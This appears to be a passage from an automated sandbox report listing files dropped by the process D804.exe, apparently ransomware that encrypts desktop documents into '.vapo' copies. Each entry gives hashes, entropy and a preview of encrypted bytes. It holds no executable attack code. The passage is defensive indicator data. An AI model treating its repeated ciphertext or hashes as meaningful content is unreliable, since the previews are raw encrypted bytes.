SSDEEP:	24:Vr8Gehle4Pzv5jY++3SOrnUmNFWvRUIKwrsD7CA3L/EuoVaggJ+fTzVRgZHAvwDg:V4GA8OOh0JUIKw4XTE7aggJ+rmRD0D
MD5:	8CC5FBE8E2DAA7768D319B25953DA253
SHA1:	BD2789DCA02EC41DD5515F4078F4F49F62D6DFE2
SHA-256:	EA6FD8679D2F978A2B461B5459D6304DDFF03469D5717567FF3FEF7D56EC45E8
SHA-512:	3AF26EC010248AD69CDF1E0735A3519CA0E3A6B6A142CB2CE2C8637008E9126E35F9FE40005D80D303C71F732F5548B273FE00BF89AC03FC9EE53DC4CCAA6802
Malicious:	false
Reputation:	unknown
Preview:	VWDFP.........wh<$......(.y.Q".RD.M....d.W4..b;...ng../..4.+..BU.j.....t.&.J,..).p...g.&-e....q........Q\|A..3.qyN...UO...Ge&.....M..5.z.......}z..Y$.&.p.Y...<j.'.........7.Z?.K.]7.....&..60.H._.z......2..}:.8v+n....S....\`$.....-.[.d< ...R.7#E.._.4...P.6..?.M..>.DM....:A.h?-...{.q...eS..H...8.8..t.~bN.bN.<.Mv.e..9\|\.......m..up/..S..U./.F.qo..U.zd,...xqg4...n..c+.........(#~.%.h..`N.{D.......=..j....5..?...,.7....[.:D"......t..e......M.F... HtL.{D.......'B.e.9.@.nD...k.......qL#..Wl..L.q.zM..(.sJ.5.].}...^.-.M.PGY.j...6..}.gk.x.h..7.............S..K.+]6.!."..S:.E.z.;...Dh.NP.A2.\.0Z..u...L..B.q..H..:..-.Dv.4.....J.e_.6....".........j....L...c?RF!.Z.HC[9.x....u.}B.b.3.:Gl6..Y..\.R3,.c.\o.9..o..Lq........6...f..\|._.i.=.8@.t...g..>`......8.a.>}.K.\|..].....N.Hv..p:0l.'..X..........v......E....I....*Q.......{..i.l...bOfQ..F.:..N.&..I....yv.GQv(.g.Y.n.O}.UU4..........D...`...D(....i.k.X!=.=zP.2T=R.X...U..sf.g...?B......M..1.D.+.u.\|..w.f(x..%H...Ae.s/.

C:\Users\user\Desktop\ZIPXYXWIOY.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8510011321465045
Encrypted:	false
SSDEEP:	24:9ConqgNY2UZNVGKczJzFAmuKLZ25IowNEVjgVe3Z+r7LeVstp2bvTcWbD:vUYKyzqA9YITNyjgV6Z+fLSC2bvTrD
MD5:	B3C4C2F1AE17DB687F3AFE61C25C31AA
SHA1:	6CCE649DB2E3986E0580542F5E35D2839BC1FC2B
SHA-256:	60BB8DC3F2433FD314FEF65EAA0EAF7983BF675313FCD18C5871E3E2620AB26F
SHA-512:	00F179E82C15759565DCFAB1969A67120B1154DB4D2114E9EBAED55E90AFB8E1E80638B8FA85FD9719D32F2BD174B917C85052BCE0294677E2DC847AE53DDC42
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY2C)..H..ya...$B..g5&..@...Xex....@\z.q".s....0o..~<...5.P8e.........#..h..x....m]{....8l..b..3...E3.K...NZ.........11 U....._..?..c.J.l.e.<./....7"..S.n #A.z..."7.K....k...M....:L.\|.qJ.z..\.w.!...-.8[........s#.d..L.,9..z.PK....e...(....&t.a....5@.Dg.L.$kN..=rM..?...%O..E.......q...4,Ew6...Eu..Q.....d.....@q........TJ.)...O.p..N..V]...Xv...l1.vX`...e.=...%J.G....l.4...5.D.;....o..).C.ik.m.....e.....MNn[L.......E...e.}...,...P..@.)ik.lg.l.:;.~..e~!.~........`.j..Y......@.&.7`...NL..l6.T.@o..by7.8.R,.u\o.0.5t.....D.s...s........]6xJ.e.u..:y....V.....G....$l.vT.!P..8./....f..........P..,dk.h.....;.1v..T..n...\#.w.x#...V^.]*.....Y..b...7t..k.<.].>6...~..#).:{.B....nT....3........f.k.X.4..R...>... .1...;Y...9].;...0.....&J.4......C0&.1..X_.7..\|.D.3\|......r..:\=..%./.&Q...5.O.~...$7Cn..p.l.`..d4{ux..Ub..F.........e.w....U/...~.s.).~F.P.F....X......\|.2.A0....31.My....\-.$f`H._C.#.....D.,._.#..Zs.G..D.A...t.....&d..8"....;.h..Uy'..s.Y.

C:\Users\user\Desktop\ZIPXYXWIOY.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8510011321465045
Encrypted:	false
SSDEEP:	24:9ConqgNY2UZNVGKczJzFAmuKLZ25IowNEVjgVe3Z+r7LeVstp2bvTcWbD:vUYKyzqA9YITNyjgV6Z+fLSC2bvTrD
MD5:	B3C4C2F1AE17DB687F3AFE61C25C31AA
SHA1:	6CCE649DB2E3986E0580542F5E35D2839BC1FC2B
SHA-256:	60BB8DC3F2433FD314FEF65EAA0EAF7983BF675313FCD18C5871E3E2620AB26F
SHA-512:	00F179E82C15759565DCFAB1969A67120B1154DB4D2114E9EBAED55E90AFB8E1E80638B8FA85FD9719D32F2BD174B917C85052BCE0294677E2DC847AE53DDC42
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY2C)..H..ya...$B..g5&..@...Xex....@\z.q".s....0o..~<...5.P8e.........#..h..x....m]{....8l..b..3...E3.K...NZ.........11 U....._..?..c.J.l.e.<./....7"..S.n #A.z..."7.K....k...M....:L.\|.qJ.z..\.w.!...-.8[........s#.d..L.,9..z.PK....e...(....&t.a....5@.Dg.L.$kN..=rM..?...%O..E.......q...4,Ew6...Eu..Q.....d.....@q........TJ.)...O.p..N..V]...Xv...l1.vX`...e.=...%J.G....l.4...5.D.;....o..).C.ik.m.....e.....MNn[L.......E...e.}...,...P..@.)ik.lg.l.:;.~..e~!.~........`.j..Y......@.&.7`...NL..l6.T.@o..by7.8.R,.u\o.0.5t.....D.s...s........]6xJ.e.u..:y....V.....G....$l.vT.!P..8./....f..........P..,dk.h.....;.1v..T..n...\#.w.x#...V^.]*.....Y..b...7t..k.<.].>6...~..#).:{.B....nT....3........f.k.X.4..R...>... .1...;Y...9].;...0.....&J.4......C0&.1..X_.7..\|.D.3\|......r..:\=..%./.&Q...5.O.~...$7Cn..p.l.`..d4{ux..Ub..F.........e.w....U/...~.s.).~F.P.F....X......\|.2.A0....31.My....\-.$f`H._C.#.....D.,._.#..Zs.G..D.A...t.....&d..8"....;.h..Uy'..s.Y.

C:\Users\user\Desktop\ZIPXYXWIOY.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873288413088623
Encrypted:	false
SSDEEP:	24:DEu43nYIqcUStfq5ADY9GISGMRIU2UdNUwcy1s6xFEK+Ml7rbD:gbobStfq5y+uI5UdNUwcos6xFEKf7PD
MD5:	F253040B3507468FE942371F66164451
SHA1:	0629A62FD2CAD269455FAC773146CCDFB698B04B
SHA-256:	0CAED8BB3E2EFFF23E55D32330D39D6B1EB3EFD59532A960BAAF3BD465ACF6A1
SHA-512:	72D2B52D344E544C09CDEBBB12FB197907F1BF943173BBD8EA379E259C71261644F54E78EAF08AD91CDECC6A39F312216D49B501D83B3D1FB9F543ADF1FA190A
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY..i!..FV..8% 8..J.....d?...R...Q...h.....6V\/3....."..@...u.d.......#.3.$C..w..4g.....?qVE...XA...zj.W....x.?hK1G.......=..oX2!...+....!..[qN.Y...-.vN...[.v..r...za....M .......As]...L.7..\....!.......rE........~A....]....V.l..=i.o3~.T....=...4.....D....c,~....R3..OC.....@.K.j.El6]:....#9..X.t..ep.%.Q.F.59...r..#....i...?...W.p..0..34.... \|.W.2.>.^.,)..h^..MA]?..F.y.w.0....H8u...}...c$..=........K..T.rG...\|...1D......Y.?..G.....B., .Y.....H.U.:.!u.D....................2e.h....f.)...8./7[$.mo..]>._-9`l..?j...-."....3`.}...'...!.j..I.1L.Cv7.%N..)..5^.......v........z2......^...e..v.0.....?8....y.<.}..#......`?O.....^HX!X.`.y...0P.b...W%2....4>...X)...%....q7.7..H.x\|..z...O!..w.L...j..I..[.7..n.G......U..L.4..a.Mq.`..)LY.}..qDrsT$......s...b....G.c..r.M..F..U..1....#J._"vs.....C.mzQ....o..#....i...)9V.3#.H6_.?.\|.o....(..C..j.&Y.;.<....56..W...fd.5........N0.AM....k.`{.=........8.{.&...GW.....K.F....%B....E..hUe5....<*\|.mI...l...

C:\Users\user\Desktop\ZIPXYXWIOY.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873288413088623
Encrypted:	false
SSDEEP:	24:DEu43nYIqcUStfq5ADY9GISGMRIU2UdNUwcy1s6xFEK+Ml7rbD:gbobStfq5y+uI5UdNUwcos6xFEKf7PD
MD5:	F253040B3507468FE942371F66164451
SHA1:	0629A62FD2CAD269455FAC773146CCDFB698B04B
SHA-256:	0CAED8BB3E2EFFF23E55D32330D39D6B1EB3EFD59532A960BAAF3BD465ACF6A1
SHA-512:	72D2B52D344E544C09CDEBBB12FB197907F1BF943173BBD8EA379E259C71261644F54E78EAF08AD91CDECC6A39F312216D49B501D83B3D1FB9F543ADF1FA190A
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY..i!..FV..8% 8..J.....d?...R...Q...h.....6V\/3....."..@...u.d.......#.3.$C..w..4g.....?qVE...XA...zj.W....x.?hK1G.......=..oX2!...+....!..[qN.Y...-.vN...[.v..r...za....M .......As]...L.7..\....!.......rE........~A....]....V.l..=i.o3~.T....=...4.....D....c,~....R3..OC.....@.K.j.El6]:....#9..X.t..ep.%.Q.F.59...r..#....i...?...W.p..0..34.... \|.W.2.>.^.,)..h^..MA]?..F.y.w.0....H8u...}...c$..=........K..T.rG...\|...1D......Y.?..G.....B., .Y.....H.U.:.!u.D....................2e.h....f.)...8./7[$.mo..]>._-9`l..?j...-."....3`.}...'...!.j..I.1L.Cv7.%N..)..5^.......v........z2......^...e..v.0.....?8....y.<.}..#......`?O.....^HX!X.`.y...0P.b...W%2....4>...X)...%....q7.7..H.x\|..z...O!..w.L...j..I..[.7..n.G......U..L.4..a.Mq.`..)LY.}..qDrsT$......s...b....G.c..r.M..F..U..1....#J._"vs.....C.mzQ....o..#....i...)9V.3#.H6_.?.\|.o....(..C..j.&Y.;.<....56..W...fd.5........N0.AM....k.`{.=........8.{.&...GW.....K.F....%B....E..hUe5....<*\|.mI...l...

C:\Users\user\Desktop\ZIPXYXWIOY\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851679289473352
Encrypted:	false
SSDEEP:	24:BAmjR+xlRXCKfwXUdQzk9HLqSYxqciX1dl0B9FKm8WZOfJGoYDyaXYbD:qmE9yKfvdmk9UGX1ja9FNOfJeyaSD
MD5:	038557A9B33373170C03093CB095C52B
SHA1:	ED21634F32D54E5BBA347FFBAE1EEED5FBACCFCE
SHA-256:	FE236294050B6C655C624FC58C1058F9E3AEECB13973D64D1381AFE9F364F1CC
SHA-512:	2121FC95BF08FB2EAF610371D8914B9EE5A40DB1037BEFBF1C1189C8E3380C5700E4FC0CDEE941238E93C0FDACCE41E0B3532923A1918B941ACBF51F46C4C2E0
Malicious:	false
Reputation:	unknown
Preview:	GLTYDr...H...!v..&.k.5..{=...IN{.X....$X.x\@.....@...13..tU.Lt>@...e....$....k.?`;A@.l1..._.].pe+Yk......K..H?..>.......N.eW;.H..q.H.H...X.!..@.....\..I.x_...`d.9...M.hG....\.H...<f.<.....4K......6^..N......\|R....F..t..;?.........)...h9.I...7.\....{....I.z.....V.D.......A.2....T.W)..M.<u.m....CMjD...%=.....QR..%.........B..!....f......(g..Ck7O...?..nU.Vn_V..\|Wn..{k...b......'......y..G.7T...r.4.9......#.......<..C..Y..c.'C6..Z....z.......3.+L.ui.-Y.......#P..........z)../.9L.zxL1l..3.}.-...<cI#..........V."..)....".s.]u....}x..r..........<L..Z..8\I_+...5....R.:.o,.y#...`..1t..N..!9}.4...w'...nH).e...F.....2.uw....dq.,.r.....,..$..[.\|.Jy%.^..l$.R...@..Xt.,E.T.....x....j.B\|.1.__........H....;p.R..?.h$.S...u......FN-.\|..-...$.....o...3....3.+.z...3@..m.z~...es.....68=.a..Z.....A....v..J.[..r"..h.[z .).vuVR.......e...R....c.P.%s....HK..'....A....`.y.....Z$.ED.{.RhQ.._.n..`..S..-:....Cr.GX...._....h..f.^..I.Kf.\...=.Hz

C:\Users\user\Desktop\ZIPXYXWIOY\GLTYDMDUST.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851679289473352
Encrypted:	false
SSDEEP:	24:BAmjR+xlRXCKfwXUdQzk9HLqSYxqciX1dl0B9FKm8WZOfJGoYDyaXYbD:qmE9yKfvdmk9UGX1ja9FNOfJeyaSD
MD5:	038557A9B33373170C03093CB095C52B
SHA1:	ED21634F32D54E5BBA347FFBAE1EEED5FBACCFCE
SHA-256:	FE236294050B6C655C624FC58C1058F9E3AEECB13973D64D1381AFE9F364F1CC
SHA-512:	2121FC95BF08FB2EAF610371D8914B9EE5A40DB1037BEFBF1C1189C8E3380C5700E4FC0CDEE941238E93C0FDACCE41E0B3532923A1918B941ACBF51F46C4C2E0
Malicious:	false
Reputation:	unknown
Preview:	GLTYDr...H...!v..&.k.5..{=...IN{.X....$X.x\@.....@...13..tU.Lt>@...e....$....k.?`;A@.l1..._.].pe+Yk......K..H?..>.......N.eW;.H..q.H.H...X.!..@.....\..I.x_...`d.9...M.hG....\.H...<f.<.....4K......6^..N......\|R....F..t..;?.........)...h9.I...7.\....{....I.z.....V.D.......A.2....T.W)..M.<u.m....CMjD...%=.....QR..%.........B..!....f......(g..Ck7O...?..nU.Vn_V..\|Wn..{k...b......'......y..G.7T...r.4.9......#.......<..C..Y..c.'C6..Z....z.......3.+L.ui.-Y.......#P..........z)../.9L.zxL1l..3.}.-...<cI#..........V."..)....".s.]u....}x..r..........<L..Z..8\I_+...5....R.:.o,.y#...`..1t..N..!9}.4...w'...nH).e...F.....2.uw....dq.,.r.....,..$..[.\|.Jy%.^..l$.R...@..Xt.,E.T.....x....j.B\|.1.__........H....;p.R..?.h$.S...u......FN-.\|..-...$.....o...3....3.+.z...3@..m.z~...es.....68=.a..Z.....A....v..J.[..r"..h.[z .).vuVR.......e...R....c.P.%s....HK..'....A....`.y.....Z$.ED.{.RhQ.._.n..`..S..-:....Cr.GX...._....h..f.^..I.Kf.\...=.Hz

C:\Users\user\Desktop\ZIPXYXWIOY\LHEPQPGEWF.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847678998528147
Encrypted:	false
SSDEEP:	24:9/ftbfKa5aO2aQm59SJd9XuTAe7hcES7ufPrJp3AJeZhJAvenc8sbD:9nZfF5J2aQs8TJuTAW9Pb3DZnCccnD
MD5:	27C137473080B05A101236295DFFF3F6
SHA1:	F7CA193456645552797C3834D8F2CC9A40EDF0F7
SHA-256:	5A835BA6F4D791FF203EE882F12EC2AF6A980806DE372046734E3C86E0E32FE3
SHA-512:	400FA18B77B3B0C62DB1F70938824E1579B712C035445741F0BCE23FF73696363F3F23CDD2EC1AF644820FA8E2F8BEAEC3B4B7973DD124CF858FC33663F7A402
Malicious:	false
Reputation:	unknown
Preview:	LHEPQy.....~.S...1..P..kC..O.,.,e...../d.cG....w;......7Tq.]........B.^..fB...._./..Idsr.<K\|.L.i.....].......#.;X.._..akv.!.......h..=....H...X.47cE...P......K....2...y:....<w.YS..0..`..?.z....'.'.]]cb`..e.....w..s8dG3..{]..t&....Sy.qG?iW.........J.&.&..w..:......[,..<...8..s..F.~,...ca.. R.g......<......q$....u......=O..........J=.g. .y.Q...{.?n28..w..'......^....$......~.0_.......TZ&...z.R.5....N..........2....b./..S7A;Lx....N......&.x.!W-#..5.k4.....9....H~.......`.Ag...d..4_N..rA.\.s.3M.....8:.....U.K%.B.b.LR@.p6..};.fp...<..............._l....6.A.HP..B.83..Lh.1.*.u{......#...=...J.%Y~.t2d.I..BKq2O.....A.p...../....A=...cv.v:U.......sO.[>..W.A..A5#....0.+x..y..iJ..c.......Ks'y+a..(Iv.......s~...ul....#.F..\x..<...c0d.8 ...&hh!.cs.........\|..8..t0FV...O...K 5>.H..d...1...w0..d}..6..qn..)+...raGK..OJ2../.....t.b...).. .\|y.j.......[T.wTa.PS......&.j.S..X........+L,.~..@c....Ii[p.!.... .G.v6..tN........p.L..~.?.O.waQ.0..C<.%.\|q.6..U.....

C:\Users\user\Desktop\ZIPXYXWIOY\LHEPQPGEWF.mp3.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847678998528147
Encrypted:	false
SSDEEP:	24:9/ftbfKa5aO2aQm59SJd9XuTAe7hcES7ufPrJp3AJeZhJAvenc8sbD:9nZfF5J2aQs8TJuTAW9Pb3DZnCccnD
MD5:	27C137473080B05A101236295DFFF3F6
SHA1:	F7CA193456645552797C3834D8F2CC9A40EDF0F7
SHA-256:	5A835BA6F4D791FF203EE882F12EC2AF6A980806DE372046734E3C86E0E32FE3
SHA-512:	400FA18B77B3B0C62DB1F70938824E1579B712C035445741F0BCE23FF73696363F3F23CDD2EC1AF644820FA8E2F8BEAEC3B4B7973DD124CF858FC33663F7A402
Malicious:	false
Reputation:	unknown
Preview:	LHEPQy.....~.S...1..P..kC..O.,.,e...../d.cG....w;......7Tq.]........B.^..fB...._./..Idsr.<K\|.L.i.....].......#.;X.._..akv.!.......h..=....H...X.47cE...P......K....2...y:....<w.YS..0..`..?.z....'.'.]]cb`..e.....w..s8dG3..{]..t&....Sy.qG?iW.........J.&.&..w..:......[,..<...8..s..F.~,...ca.. R.g......<......q$....u......=O..........J=.g. .y.Q...{.?n28..w..'......^....$......~.0_.......TZ&...z.R.5....N..........2....b./..S7A;Lx....N......&.x.!W-#..5.k4.....9....H~.......`.Ag...d..4_N..rA.\.s.3M.....8:.....U.K%.B.b.LR@.p6..};.fp...<..............._l....6.A.HP..B.83..Lh.1.*.u{......#...=...J.%Y~.t2d.I..BKq2O.....A.p...../....A=...cv.v:U.......sO.[>..W.A..A5#....0.+x..y..iJ..c.......Ks'y+a..(Iv.......s~...ul....#.F..\x..<...c0d.8 ...&hh!.cs.........\|..8..t0FV...O...K 5>.H..d...1...w0..d}..6..qn..)+...raGK..OJ2../.....t.b...).. .\|y.j.......[T.wTa.PS......&.j.S..X........+L,.~..@c....Ii[p.!.... .G.v6..tN........p.L..~.?.O.waQ.0..C<.%.\|q.6..U.....

C:\Users\user\Desktop\ZIPXYXWIOY\LIJDSFKJZG.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856082758337578
Encrypted:	false
SSDEEP:	24:La8LuatF2uDHP+ZYoha+iZweeTWflLqEZRetvFzWbD:LljaGvwYearKxKtFRetvF4D
MD5:	09E10B28CEED40182716D7C63D2E1868
SHA1:	59DDE9281C4745D3646B493EE93E48BC21D187D4
SHA-256:	0240D8A0924A663222C622FC0C5CA7EDD06901F0D0F08720EBB217ECA17752B5
SHA-512:	6C4AD432A62057CECFCFC75157A9647AE4C3833576580C33366476DDF0D97D5FC1AEE498123498BCC5EF41D9375724B6401E226377D44F1DCE050EF301EE0601
Malicious:	false
Reputation:	unknown
Preview:	LIJDS.o..:...w..Z....u..\|O.}.ccF..(.LX.1A.....e.'.....k.V.9Q..h..+.<........m3...[?.P...L..Y......7....$0@.'.`.....-.......^..,;.X....-.V.........m..[........f.8#P@.j.:.d@a8.A....\[........j.,<..ur].9.M...Q.?.)..j.....,.....u...../V.t]...\|.@.!.,......:`..>....5.pV..(E.Bd......(...qH..........c..h......p...K.......O...8.<.......9... %.~u.G.+.m@.o.fk..n....X#.w..;k......V.Q....=V=.Y.-..<..C,y.v.o.d...{..Q...>..l.M.u.....s....s.qV>!h7.4..].m..t;...y.....uMh....{.....q....NY.>......5.q..... ...V~.vO.M.:.dl....q..%.S..f&..,q.....\c..ZKl\|ZP..M....>.0.J.^..L....K..W..@^.....8...7..5..h.\....2..s......O..O_./6.(I.b}?n2.W4......5.B&-....n....L.B.....j.....l(.....wz}:........0.U.r+..s..4G.......#..1....~[,...M..+.J.grwd .O.q..i(g.C.....LI..........4%.a.....bm.m..p..l..N....R....<(...Mw..Y....m..n..I\VXH....dY$...!....x.."...H..xr.N.`..7_..8.Vx......v@.h`..?..%...?..L..=.qrrI).-.r....G..n.....S(...j-.&c..^i....s.%!...t..QU..'.y.Y...C.w1...

C:\Users\user\Desktop\ZIPXYXWIOY\LIJDSFKJZG.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856082758337578
Encrypted:	false
SSDEEP:	24:La8LuatF2uDHP+ZYoha+iZweeTWflLqEZRetvFzWbD:LljaGvwYearKxKtFRetvF4D
MD5:	09E10B28CEED40182716D7C63D2E1868
SHA1:	59DDE9281C4745D3646B493EE93E48BC21D187D4
SHA-256:	0240D8A0924A663222C622FC0C5CA7EDD06901F0D0F08720EBB217ECA17752B5
SHA-512:	6C4AD432A62057CECFCFC75157A9647AE4C3833576580C33366476DDF0D97D5FC1AEE498123498BCC5EF41D9375724B6401E226377D44F1DCE050EF301EE0601
Malicious:	false
Reputation:	unknown
Preview:	LIJDS.o..:...w..Z....u..\|O.}.ccF..(.LX.1A.....e.'.....k.V.9Q..h..+.<........m3...[?.P...L..Y......7....$0@.'.`.....-.......^..,;.X....-.V.........m..[........f.8#P@.j.:.d@a8.A....\[........j.,<..ur].9.M...Q.?.)..j.....,.....u...../V.t]...\|.@.!.,......:`..>....5.pV..(E.Bd......(...qH..........c..h......p...K.......O...8.<.......9... %.~u.G.+.m@.o.fk..n....X#.w..;k......V.Q....=V=.Y.-..<..C,y.v.o.d...{..Q...>..l.M.u.....s....s.qV>!h7.4..].m..t;...y.....uMh....{.....q....NY.>......5.q..... ...V~.vO.M.:.dl....q..%.S..f&..,q.....\c..ZKl\|ZP..M....>.0.J.^..L....K..W..@^.....8...7..5..h.\....2..s......O..O_./6.(I.b}?n2.W4......5.B&-....n....L.B.....j.....l(.....wz}:........0.U.r+..s..4G.......#..1....~[,...M..+.J.grwd .O.q..i(g.C.....LI..........4%.a.....bm.m..p..l..N....R....<(...Mw..Y....m..n..I\VXH....dY$...!....x.."...H..xr.N.`..7_..8.Vx......v@.h`..?..%...?..L..=.qrrI).-.r....G..n.....S(...j-.&c..^i....s.%!...t..QU..'.y.Y...C.w1...

C:\Users\user\Desktop\ZIPXYXWIOY\SNIPGPPREP.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837057149319185
Encrypted:	false
SSDEEP:	24:ClWHTa/3eC1Tt4U7spVyeMzf5kkEGGB+lTxfR2d/K0p+A0fIuXoWwToaq5XOdSbD:mHx1UY50vYlxf0K0olfImIoa6D
MD5:	EF6522F894EFC56FCC063497C03E97EB
SHA1:	C3F384F9B78A83E771210E39B0671D518D499DDF
SHA-256:	0696DECBB62A8B762B7FF611F55C9D9705C430E66BAC03A28294A0C1AE639861
SHA-512:	C3351F872B570647539D3FEB1B6C6A0776C6308CEB203697780320776197CE2D79E7502E99EB3343E3B17A52AD8EA12D1CF35DA83D1B878391672BEDBE8E9BE9
Malicious:	false
Reputation:	unknown
Preview:	SNIPG@...[.wr...%h"5l..w~........0.b..y.bN.D ..$..+.;.a=.........L.@.`.;..2.dB...a.D-).....[ka.l.Ul..r.L.1...\.]....J...-.....2..A;C.-T1....(8Q.= k...Cb......{\|......x.J.-.T.MF..K.?8......]..;....8M.P1..(..fS....Y.z$...5..d..C...~S.M.V..5/.R..&5.\|...M..%.;.r..5E.+$e..V.KYE[.J.).0..7V.......P-S]+ml%l.T.'.Q+I.<.D...n1N\....Q........D6.Ny..'9B.KTi(.._\........<p.5.V.\$S..A]....\|"JQ.....Ry.G..Z...O.g..w.?.i..'...i#......7A..M..........F..v.k[...dl..g....$....e...._..U.....\"#...~eE.....et.....P.t...rU..!..a.L.6......;.G.bq.&...].;L.Z0.2aq.E...l..w...'.Z.?....R.h.../.H_.5....%........\.-W.M.."..6..../..c....j..4T.I..n.olw5..U_......7......\.2..W.fv...O..I.;x..\.c4=....t...qC.%`.a....Y...h.2.e.........ZzU0..vY.2\.(..j..hw...y_>B.B~8np...G.s...\C..@..J.'g.."z...%..C3...S......r>}..r..>o.1....?E.....?...)KK.1....D..B0..(x.....B..U.v.ih....u1.>.Q.p..t[.c?........ ...<..x!............r.A.]....(.....Q..;}.....N~...Ik.A...8b%..4....1...N4..T.r.......W.

C:\Users\user\Desktop\ZIPXYXWIOY\SNIPGPPREP.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837057149319185
Encrypted:	false
SSDEEP:	24:ClWHTa/3eC1Tt4U7spVyeMzf5kkEGGB+lTxfR2d/K0p+A0fIuXoWwToaq5XOdSbD:mHx1UY50vYlxf0K0olfImIoa6D
MD5:	EF6522F894EFC56FCC063497C03E97EB
SHA1:	C3F384F9B78A83E771210E39B0671D518D499DDF
SHA-256:	0696DECBB62A8B762B7FF611F55C9D9705C430E66BAC03A28294A0C1AE639861
SHA-512:	C3351F872B570647539D3FEB1B6C6A0776C6308CEB203697780320776197CE2D79E7502E99EB3343E3B17A52AD8EA12D1CF35DA83D1B878391672BEDBE8E9BE9
Malicious:	false
Reputation:	unknown
Preview:	SNIPG@...[.wr...%h"5l..w~........0.b..y.bN.D ..$..+.;.a=.........L.@.`.;..2.dB...a.D-).....[ka.l.Ul..r.L.1...\.]....J...-.....2..A;C.-T1....(8Q.= k...Cb......{\|......x.J.-.T.MF..K.?8......]..;....8M.P1..(..fS....Y.z$...5..d..C...~S.M.V..5/.R..&5.\|...M..%.;.r..5E.+$e..V.KYE[.J.).0..7V.......P-S]+ml%l.T.'.Q+I.<.D...n1N\....Q........D6.Ny..'9B.KTi(.._\........<p.5.V.\$S..A]....\|"JQ.....Ry.G..Z...O.g..w.?.i..'...i#......7A..M..........F..v.k[...dl..g....$....e...._..U.....\"#...~eE.....et.....P.t...rU..!..a.L.6......;.G.bq.&...].;L.Z0.2aq.E...l..w...'.Z.?....R.h.../.H_.5....%........\.-W.M.."..6..../..c....j..4T.I..n.olw5..U_......7......\.2..W.fv...O..I.;x..\.c4=....t...qC.%`.a....Y...h.2.e.........ZzU0..vY.2\.(..j..hw...y_>B.B~8np...G.s...\C..@..J.'g.."z...%..C3...S......r>}..r..>o.1....?E.....?...)KK.1....D..B0..(x.....B..U.v.ih....u1.>.Q.p..t[.c?........ ...<..x!............r.A.]....(.....Q..;}.....N~...Ik.A...8b%..4....1...N4..T.r.......W.

C:\Users\user\Desktop\ZIPXYXWIOY\VWDFPKGDUF.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8419054308676035
Encrypted:	false
SSDEEP:	24:Jyd/XChmEvhEdbGkL+Ov1+LgShtWoPciGOFErY9sEDSmvNgsbD:JGSmIOd+LgCthFGVrYlWwD
MD5:	52282532C7DC2A7E22EE59004730D9AE
SHA1:	BCFE770BCAE6BCAD73AA4C67F8243203C704C754
SHA-256:	C9E0F3400701C647CA158D75D610AF11717DC4D06FB810B9935CD76E8C70AC34
SHA-512:	A576AB73B4557739D6CE094037C63F67C7FF497BEACF3D862CBB477760ABFBE12CAAE18570C6C703C67567BFB853B1026EECAB84201C319BD9A120AB2F5FAB52
Malicious:	false
Reputation:	unknown
Preview:	VWDFP..&sb.T+,..~......T+9.........}".A.k.a.ec)SL.p.K.!^.....4.[.1u........2..d.}4.7Z....(W$Gj.,.S...[...l.....Y..,.e..<...Q$....{I(Of'7.xA.}....x...BKI..W.X.....z(....,wA.Su....,Je..Zp_.R.x..dr.$N.p..c..Q.?.P.v.T.2.3....q..a@...]k.....3.J,I.1....n.Q;...U..^...^U.b...I.c.S..I.+..b....Ad.}.sM..a..v&,.....pq...JHP.'K.a.g4/.....<....$r.taweS+G46..........4.q.X75..5.x.......eP..O!c..O'...B.M"..2.]..4... .xO..2TZ.P..t...9*...e=..W3.K.....0.B,....S...w.c.k8:..-p[.1..o.~.\|....?n.@...Z.. .....#e...:....I0m".5.a.x.g...P..#H.A.jQi7..K.D.CH\|...../...lA.THW......PNdb..#..=..UC'.db..u.....r....z...L'~<..~....yV........P.`Pd.q....z.&O./?.>W.I..%T..."......@....f...7G...w.U0.#v#";.)..MlKJk{rE.d..n.r...6.h.~.f.C.......Y.... J.....o.k._."C...rF.......L..i.YK. ..pqq_..X..8Omy:<k[Ax.....s......d..{c..T ...0.pA.e(".$.r;m.-./...'........Q.:...8mz" .1%}..........4K.."...N........Q....VH.Y..}]...j!...T..c...I...K.L..(......o.V/L...3n^+.or..!..]..=c..R..v

C:\Users\user\Desktop\ZIPXYXWIOY\VWDFPKGDUF.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8419054308676035
Encrypted:	false
